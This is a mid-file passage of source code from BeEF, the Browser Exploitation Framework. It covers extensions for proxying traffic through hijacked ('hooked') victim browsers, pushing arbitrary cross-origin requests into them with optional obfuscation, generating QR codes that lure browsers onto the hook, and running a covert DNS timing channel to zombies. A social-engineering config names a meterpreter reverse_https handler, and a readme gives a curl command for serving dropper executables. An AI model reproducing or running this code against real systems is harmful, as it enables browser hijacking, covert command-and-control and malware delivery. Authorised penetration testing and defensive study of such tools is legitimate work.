ssl_server.start_immediately = false loop do ssl_socket = ssl_server.accept Thread.new ssl_socket, &method(:handle_request) end end def handle_request(socket) request_line = socket.readline # HTTP method # defaults to GET method = request_line[/^\w+/] # Handle SSL requests url_prefix = '' if method == 'CONNECT' # request_line is something like: # CONNECT example.com:443 HTTP/1.1 host_port = request_line.split[1] proto = 'https' url_prefix = "#{proto}://#{host_port}" loop do line = socket.readline break if line.strip.empty? end socket.puts("HTTP/1.0 200 Connection established\r\n\r\n") socket.accept print_debug("[PROXY] Handled CONNECT to #{host_port}") request_line = socket.readline end method, _path, version = request_line.split # HTTP scheme/protocol # defaults to http proto = 'http' unless proto.eql?('https') # HTTP version # defaults to 1.0 version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z} # HTTP request path path = request_line[/^\w+\s+(\S+)/, 1] # url # proto://host:port + path url = url_prefix + path # We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors # when sending attack vectors (see tolerant_parser) # anti: somehow the config below was removed, have a look into this tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars')) uri = tolerant_parser.parse(url.to_s) uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}" # extensions/requester/api/hook.rb parses raw_request to find port and path raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n" content_length = 0 loop do line = socket.readline content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/ if line.strip.empty? # read data still in the socket, exactly bytes raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0 break else raw_request += line end end # Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component. # IDs are created and incremented automatically by DataMapper. http = H.new( request: raw_request, method: method, proto: proto, domain: uri.host, port: uri.port, path: uri_path_and_qs, request_date: Time.now, hooked_browser_id: get_tunneling_proxy, allow_cross_origin: 'true' ) http.save print_debug( "[PROXY] --> Forwarding request ##{http.id}: " \ "domain[#{http.domain}:#{http.port}], " \ "method[#{http.method}], " \ "path[#{http.path}], " \ "cross origin[#{http.allow_cross_origin}]" ) # Wait for the HTTP response to be stored in the db. # TODO: re-implement this with EventMachine or with the Observer pattern. sleep 0.5 while H.find(http.id).has_ran != 'complete' @response = H.find(http.id) print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed" response_body = @response['response_data'] response_status = @response['response_status_code'] headers = @response['response_headers'] # The following is needed to forward back some of the original HTTP response headers obtained via XHR calls. # Original XHR response headers are stored in extension_requester_http table (response_headers column), # but we are forwarding back only some of them (Server, X-.. - like X-Powered-By -, Content-Type, ... ). # Some of the original response headers need to be removed, like encoding and cache related: for example # about encoding, the original response headers says that the content-length is 1000 as the response is gzipped, # but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way. response_headers = '' if response_status != -1 && response_status != 0 ignore_headers = %w[ Content-Encoding Keep-Alive Cache-Control Vary Pragma Connection Expires Accept-Ranges Transfer-Encoding Date ] headers.each_line do |line| # stripping the Encoding, Cache and other headers header_key = line.split(': ')[0] header_value = line.split(': ')[1] next if header_key.nil? next if ignore_headers.any? { |h| h.casecmp(header_key).zero? } # ignore headers with no value (@todo: why?) next if header_value.nil? unless header_key == 'Content-Length' response_headers += line next end # update Content-Length with the valid one response_headers += "Content-Length: #{response_body.size}\r\n" end end res = "#{version} #{response_status}\r\n#{response_headers}\r\n#{response_body}" socket.write(res) socket.close end def get_tunneling_proxy proxy_browser = HB.where(is_proxy: true).first return proxy_browser.session.to_s unless proxy_browser.nil? hooked_browser = HB.first unless hooked_browser.nil? print_debug "[Proxy] Proxy browser not set. Defaulting to first hooked browser [id: #{hooked_browser.session}]" return hooked_browser.session end print_error '[Proxy] No hooked browsers' nil end end end end end ================================================ FILE: extensions/proxy/rest/proxy.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Proxy # This class handles the routing of RESTful API requests for the proxy class ProxyRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance @hb = BeEF::Core::Models::HookedBrowser # Require a valid API token from a valid IP address halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # Use a specified hooked browser as proxy post '/setTargetZombie' do body = JSON.parse(request.body.read) hb_id = body['hb_id'] result = {} result['success'] = false return result.to_json if hb_id.nil? hooked_browser = @hb.where(session: hb_id).first previous_proxy_hb = @hb.where(is_proxy: true).first # if another HB is currently set as tunneling proxy, unset it unless previous_proxy_hb.nil? previous_proxy_hb.update(is_proxy: false) print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy") end # set the HB requested in /setTargetProxy as Tunneling Proxy unless hooked_browser.nil? hooked_browser.update(is_proxy: true) print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy") result['success'] = true end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error setting browser as proxy (#{e.message})" halt 500 end # Raised when invalid JSON input is passed to an /api/proxy handler. class InvalidJsonError < StandardError DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when an invalid named parameter is passed to an /api/proxy handler. class InvalidParamError < StandardError DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/proxy handler' message = format str, message unless message.nil? super(message) end end end end end end ================================================ FILE: extensions/qrcode/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: qrcode: name: 'QR Code Generator' enable: false authors: ["xntrik", "bcoles"] targets: ["/demos/basic.html", "https://beefproject.com/"] qrsize: 3 qrborder: 1 ================================================ FILE: extensions/qrcode/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Qrcode extend BeEF::API::Extension @short_name = 'qrcode' @full_name = 'QR Code Generator' @description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.' end end end require 'extensions/qrcode/qrcode' ================================================ FILE: extensions/qrcode/qrcode.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Qrcode module QrcodeGenerator BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start') def self.pre_http_start(_http_hook_server) require 'uri' require 'qr4r' fullurls = [] # get server config configuration = BeEF::Core::Configuration.instance beef_proto = configuration.beef_proto beef_host = configuration.beef_host beef_port = configuration.beef_port # get URLs from QR config configuration.get('beef.extension.qrcode.targets').each do |target| # absolute URLs if target.lines.grep(%r{^https?://}i).size.positive? fullurls << target # relative URLs else # Retrieve the list of network interfaces from BeEF::Core::Console::Banners interfaces = BeEF::Core::Console::Banners.interfaces if not interfaces.nil? and not interfaces.empty? # If interfaces are available, iterate over each network interface # If interfaces are available, iterate over each network interface interfaces.each do |int| # Skip the loop iteration if the interface address is '0.0.0.0' (which generally represents all IPv4 addresses on the local machine) next if int == '0.0.0.0' # Construct full URLs using the network interface address, and add them to the fullurls array # The URL is composed of the BeEF protocol, interface address, BeEF port, and the target path fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}" end end end end return unless fullurls.empty? img_dir = 'extensions/qrcode/images' begin Dir.mkdir(img_dir) unless File.directory?(img_dir) rescue StandardError print_error "[QR] Could not create directory '#{img_dir}'" end data = '' fullurls.uniq.each do |target| fname = ('a'..'z').to_a.sample(8).join qr_path = "#{img_dir}/#{fname}.png" begin Qr4r.encode( target, qr_path, { pixel_size: configuration.get('beef.extension.qrcode.qrsize'), border: configuration.get('beef.extension.qrcode.qrborder') } ) rescue StandardError print_error "[QR] Could not write file '#{qr_path}'" next end print_debug "[QR] Wrote file '#{qr_path}'" BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( "/#{qr_path}", "/qrcode/#{fname}", 'png' ) data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n" data += "- URL: #{target}\n" # Google API # url = URI::Parser.new.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]")) # w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 # h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 # data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n" # QRServer.com # url = URI::Parser.new.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]")) # w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 # h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100 # data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n" end print_info 'QR code images available:' print_more data end end end end end ================================================ FILE: extensions/requester/api/hook.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Requester module API require 'uri' class Hook include BeEF::Core::Handlers::Modules::BeEFJS # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve # and send them to the hooked browser. def requester_run(hb, body) @body = body # Generate all the requests and output them to the hooked browser output = [] print_debug hb.to_json BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h| output << requester_parse_db_request(h) end return if output.empty? config = BeEF::Core::Configuration.instance ws = BeEF::Core::Websocket::Websocket.instance evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable') # TODO: antisnatchor: prevent sending "content" multiple times. # Better leaving it after the first run, and don't send it again. # todo antisnatchor: remove this gsub crap adding some hook packing. # If we use WebSockets, just reply wih the component contents if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session) content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('// // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file \'doc/COPYING\' for copying permission //', '') add_to_body output if config.get('beef.extension.evasion.enable') ws.send(evasion.obfuscate(content) + @body, hb.session) else ws.send(content + @body, hb.session) end # if we use XHR-polling, add the component to the main hook file else build_missing_beefjs_components 'beef.net.requester' # Send the command to perform the requests to the hooked browser add_to_body output end end def add_to_body(output) config = BeEF::Core::Configuration.instance req = %{ beef.execute(function() { beef.net.requester.send( #{output.to_json} ); }); } if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(req) else @body << req end end # # Converts an HTTP db object into an Hash that follows the representation # of input data for the beef.net.request Javascript API function. # The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function # and finally sent to and executed by the hooked browser. def requester_parse_db_request(http_db_object) allow_cross_origin = http_db_object.allow_cross_origin.to_s verb = http_db_object.method.upcase proto = http_db_object.proto.downcase uri = http_db_object.request.split(/\s+/)[1] headers = {} req_parts = http_db_object.request.split(/\r?\n/) @host = http_db_object.domain @port = http_db_object.port print_debug 'http_db_object:' print_debug http_db_object.to_json # @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any) req_parts.each_with_index do |value, index| @content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/) @post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body) end # @note: add HTTP request headers to an Hash req_parts.each_with_index do |value, index| if verb.eql?('POST') if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data header_key = value.split(/: /)[0] header_value = value.split(/: /)[1] headers[header_key] = header_value end elsif index.positive? header_key = value.split(/: /)[0] header_value = value.split(/: /)[1] headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version end end # set default port if nil if @port.nil? @port = if uri.to_s =~ /^https?/ # absolute uri.match(/^https:/) ? 443 : 80 else # relative proto.eql?('https') ? 443 : 80 end end # Build request http_request_object = { 'id' => http_db_object.id, 'method' => verb, 'proto' => proto, 'host' => @host, 'port' => @port, 'uri' => uri, 'headers' => headers, 'allowCrossOrigin' => allow_cross_origin } # Add POST request data if !@content_length.nil? && @content_length.positive? post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length) @post_data = post_data_sliced.join http_request_object['data'] = @post_data end # @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send headers.each_key { |key| http_request_object['headers'][key] = headers[key] } print_debug 'result http_request_object' print_debug http_request_object.to_json http_request_object end end end end end end ================================================ FILE: extensions/requester/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Requester module RegisterHttpHandler BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') def self.mount_handler(beef_server) beef_server.mount('/requester', BeEF::Extension::Requester::Handler) beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new) end end module RegisterPreHookCallback BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') def self.pre_hook_send(hooked_browser, body, _params, _request, _response) dhook = BeEF::Extension::Requester::API::Hook.new dhook.requester_run(hooked_browser, body) end end end end end ================================================ FILE: extensions/requester/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: requester: name: 'Requester' enable: false authors: ["antisnatchor", "scotty"] ================================================ FILE: extensions/requester/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Requester end end end require 'extensions/requester/models/http' require 'extensions/requester/api/hook' require 'extensions/requester/handler' require 'extensions/requester/api' require 'extensions/requester/rest/requester' ================================================ FILE: extensions/requester/handler.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Requester # # The http handler that manages the Requester. # class Handler H = BeEF::Core::Models::Http Z = BeEF::Core::Models::HookedBrowser def initialize(data) @data = data setup end def setup # validates the hook token beef_hook = @data['beefhook'] || nil if beef_hook.nil? print_error 'beefhook is null' return end # validates the request id request_id = @data['cid'].to_s if request_id == '' print_error 'Original request id (command id) is null' return end unless BeEF::Filters.nums_only?(request_id) print_error 'Original request id (command id) is invalid' return end # validates that a hooked browser with the beef_hook token exists in the db zombie_db = Z.where(session: beef_hook).first || nil if zombie_db.nil? (print_error 'Invalid beefhook id: the hooked browser cannot be found in the database' return) end # validates that we have such a http request saved in the db http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil if http_db.nil? print_error 'Invalid http_db: no such request found in the database' return end # validates that the http request has not been run before if http_db.has_ran.eql? 'complete' (print_error 'This http request has been saved before' return) end # validates the response code response_code = @data['results']['response_status_code'] || nil if response_code.nil? (print_error 'Http response code is null' return) end # save the results in the database http_db.response_headers = @data['results']['response_headers'] http_db.response_status_code = @data['results']['response_status_code'] http_db.response_status_text = @data['results']['response_status_text'] http_db.response_port_status = @data['results']['response_port_status'] http_db.response_data = @data['results']['response_data'] http_db.response_date = Time.now http_db.has_ran = 'complete' # Store images as binary # see issue https://github.com/beefproject/beef/issues/449 http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/ http_db.save end end end end end ================================================ FILE: extensions/requester/models/http.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Table stores the http requests and responses from the requester. # class Http < BeEF::Core::Model # # Removes a request/response from the data store # def self.delete(id) if id.to_s !~ /\A\d+\z/ (print_error 'Failed to remove response. Invalid response ID.' return) end r = BeEF::Core::Models::Http.find(id.to_i) if r.nil? (print_error "Failed to remove response [id: #{id}]. Response does not exist." return) end r.destroy end end end end end ================================================ FILE: extensions/requester/rest/requester.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Requester # This class handles the routing of RESTful API requests for the requester class RequesterRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance # Require a valid API token from a valid IP address halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) H = BeEF::Core::Models::Http HB = BeEF::Core::Models::HookedBrowser headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # Returns a request by ID get '/request/:id' do id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) requests = H.find(id) halt 404 if requests.nil? result = {} result[:count] = requests.length result[:requests] = [] requests.each do |request| result[:requests] << request2hash(request) end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving request with id #{id} (#{e.message})" halt 500 end # Returns all requestes given a specific hooked browser id get '/requests/:id' do id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id) requests = H.where(hooked_browser_id: id) halt 404 if requests.nil? result = {} result[:count] = requests.length result[:requests] = [] requests.each do |request| result[:requests] << request2hash(request) end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})" halt 500 end # Return a response by ID get '/response/:id' do # super debugging error = {} error[:code] = 0 id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) error[:code] = 1 responses = H.find(id) || nil error[:code] = 2 halt 404 if responses.nil? error[:code] = 3 result = {} result[:success] = 'true' error[:code] = 4 result[:result] = response2hash(responses) error[:code] = 5 result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving response with id #{id} (#{e.message})" error[:id] = id error[:message] = e.message error.to_json # halt 500 end # Deletes a specific response given its id delete '/response/:id' do id = params[:id] raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) responses = H.find(id) || nil halt 404 if responses.nil? result = {} result['success'] = H.delete(id) result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while removing response with id #{id} (#{e.message})" halt 500 end # Send a new HTTP request to the hooked browser post '/send/:id' do id = params[:id] proto = params[:proto].to_s || 'http' raw_request = params['raw_request'].to_s zombie = HB.where(session: id).first || nil halt 404 if zombie.nil? # @TODO: move most of this to the model raise InvalidParamError, 'raw_request' if raw_request == '' raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\Ahttps?\z/ req_parts = raw_request.split(/ |\n/) verb = req_parts[0] raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb) uri = req_parts[1] raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri) version = req_parts[2] raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version) host_str = req_parts[3] raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str) # Validate target hsot host = req_parts[4] host_parts = host.split(/:/) host_name = host_parts[0] host_port = host_parts[1] || nil raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name) host_port = host_parts[1] || nil if host_port.nil? || !BeEF::Filters.nums_only?(host_port) host_port = proto.eql?('https') ? 443 : 80 end # Save the new HTTP request http = H.new( hooked_browser_id: zombie.session, request: raw_request, method: verb, proto: proto, domain: host_name, port: host_port, path: uri, request_date: Time.now, allow_cross_origin: 'true' ) print_debug "added new http request for #{zombie.session}" print_debug http.to_json if verb.eql?('POST') || verb.eql?('PUT') req_parts.each_with_index do |value, index| http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i) end end http.save result = request2hash(http) print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}" # result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while removing network host with id #{id} (#{e.message})" halt 500 end # Convert a request object to Hash def request2hash(http) { id: http.id, proto: http.proto, domain: http.domain, port: http.port, path: http.path, has_ran: http.has_ran, method: http.method, request_date: http.request_date, response_date: http.response_date, response_status_code: http.response_status_code, response_status_text: http.response_status_text, response_port_status: http.response_port_status } end # Convert a response object to Hash def response2hash(http) response_data = '' unless http.response_data.nil? if (http.response_data.length > (1024 * 100)) # more than 100K response_data = http.response_data[0..(1024 * 100)] response_data += "\n<---------- Response Data Truncated---------->" else response_data = http.response_data end end response_headers = '' response_headers = http.response_headers unless http.response_headers.nil? { id: http.id, request: http.request.force_encoding('UTF-8'), response: response_data.force_encoding('UTF-8'), response_headers: response_headers.force_encoding('UTF-8'), proto: http.proto.force_encoding('UTF-8'), domain: http.domain.force_encoding('UTF-8'), port: http.port.force_encoding('UTF-8'), path: http.path.force_encoding('UTF-8'), date: http.request_date, has_ran: http.has_ran.force_encoding('UTF-8') } end # Raised when invalid JSON input is passed to an /api/requester handler. class InvalidJsonError < StandardError DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when an invalid named parameter is passed to an /api/requester handler. class InvalidParamError < StandardError DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/requester handler' message = format str, message unless message.nil? super(message) end end end end end end ================================================ FILE: extensions/s2c_dns_tunnel/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module ServerClientDnsTunnel module API module ServerClientDnsTunnelHandler BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, BeEF::API::Server, 'pre_http_start') BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, BeEF::API::Server, 'mount_handler') # Starts the S2C DNS Tunnel server at BeEF startup. # @param http_hook_server [BeEF::Core::Server] HTTP server instance def self.pre_http_start(_http_hook_server) configuration = BeEF::Core::Configuration.instance zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') raise ArgumentError, 'zone name is undefined' unless zone.to_s != '' # if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen listen = configuration.get('beef.extension.s2c_dns_tunnel.listen') Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty? port = 53 protocol = :udp interfaces = [[protocol, listen, port]] dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance dns.run(listen: interfaces, zone: zone) print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})" info = '' info += "Zone: #{zone}\n" print_more info end # Mounts the handler for processing HTTP image requests. # @param beef_server [BeEF::Core::Server] HTTP server instance def self.mount_handler(beef_server) configuration = BeEF::Core::Configuration.instance zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone)) end end end end end end ================================================ FILE: extensions/s2c_dns_tunnel/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: s2c_dns_tunnel: enable: false name: 'Server-to-Client DNS Tunnel' authors: ['dnkolegov','afr1ka'] # Define which network interface DNS server should listen. IP-address of this interface will be used in DNS answers. # By default, DNS server will be started on the interface which has a highest IP-address and will listen UDP 53 port only. # listen: '' # Zone managed by DNS server. DNS server will not be started if zone is not specified zone: '' ================================================ FILE: extensions/s2c_dns_tunnel/dnsd.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module ServerClientDnsTunnel module RubyDNS class Transaction def fail!(rcode, domain) append_question! @answer.rcode = if rcode.is_a? Symbol Resolv::DNS::RCode.const_get(rcode) else rcode.to_i end return unless rcode == :NXDomain @answer.aa = 1 soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns.#{domain}"), Resolv::DNS::Name.create("hostmaster.#{domain}"), Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800) @answer.add_authority(name, 3600, soa) end end end class Server < RubyDNS::Server include Singleton attr_accessor :messages def initialize super() @lock = Mutex.new end # Starts the custom DNS server. # # @param options [Hash] server configuration options # @option options [Array] :zone - zone manged by BeEF DNS server for data exfiltration # @option options [Array] :listen - local interfaces to listen on def run(options = {}) @lock.synchronize do Thread.new do EventMachine.next_tick do listen = options[:listen] || nil super(listen: listen) @selfip = options[:listen][0][1] @zone = options[:zone] @messages = {} end end end end # Entry point for processing incoming DNS requests. # # @param name [String] name of the resource record being looked up # @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.) # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer def process(name, resource, transaction) @lock.synchronize do print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/) transaction.fail!(:Refused, @zone) return end # Parce query name in accordance with Active Directory SRV resource records cid = name.split('.')[2].split('-')[2].to_i bit = name.split('.')[2].split('-')[3].to_i(16) if @messages[cid].nil? transaction.fail!(:NXDomain, @zone) return else message = @messages[cid] end if message.length <= bit transaction.fail!(:NXDomain, @zone) return end # If the bit is equal to 1 we should return one of the BeEF's IP addresses case message[bit] when '1' transaction.respond!(@selfip) return # If the bit is equal to 0 we should return NXDomain message when '0' transaction.fail!(:NXDomain, @zone) return end end end private # Helper method that formats the given resource class in a human-readable format. # # @param resource [Resolv::DNS::Resource::IN] resource class # @return [String] resource name stripped of any module/class names def format_resource(resource) /::(\w+)$/.match(resource.name)[1] end end end end end ================================================ FILE: extensions/s2c_dns_tunnel/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module ServerClientDnsTunnel extend BeEF::API::Extension @short_name = 'S2C DNS Tunnel' @full_name = 'Server-to-Client DNS Tunnel' @description = 'This extension provides a custom BeEF DNS server and HTTP server ' \ 'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.' end end end require 'extensions/s2c_dns_tunnel/dnsd' require 'extensions/s2c_dns_tunnel/api' require 'extensions/s2c_dns_tunnel/httpd' ================================================ FILE: extensions/s2c_dns_tunnel/httpd.rb ================================================ module BeEF module Extension module ServerClientDnsTunnel class Httpd < Sinatra::Base def initialize(domain) super() @domain = domain end get '/map' do if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$") path = File.dirname(__FILE__) send_file File.join(path, 'pixel.jpg') end end end end end end require 'sinatra/base' ================================================ FILE: extensions/social_engineering/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: social_engineering: enable: false name: 'Social Engineering' authors: ["antisnatchor"] web_cloner: # NOTE: you must have 'wget' in your PATH add_beef_hook: true user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2" verify_ssl: true powershell: # the default payload being used is windows/meterpreter/reverse_https msf_reverse_handler_host: "172.16.45.1" msf_reverse_handler_port: "443" powershell_handler_url: "/ps" ================================================ FILE: extensions/social_engineering/droppers/readme.txt ================================================ This directory will contain the droppers (executables, JARs, browser extensions, etc..) that you want to have available on the BeEF server. For example, if you want to have bin.exe available at http://beefserver/bin.exe, use the following RESTful API call: curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mount":"/bin.exe", "local_file":"/extensions/social_engineering/droppers/bin.exe"}' -X POST http://beefserver/api/server/bind?token= ================================================ FILE: extensions/social_engineering/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module RegisterSEngHandler def self.mount_handler(server) server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new) ps_url = 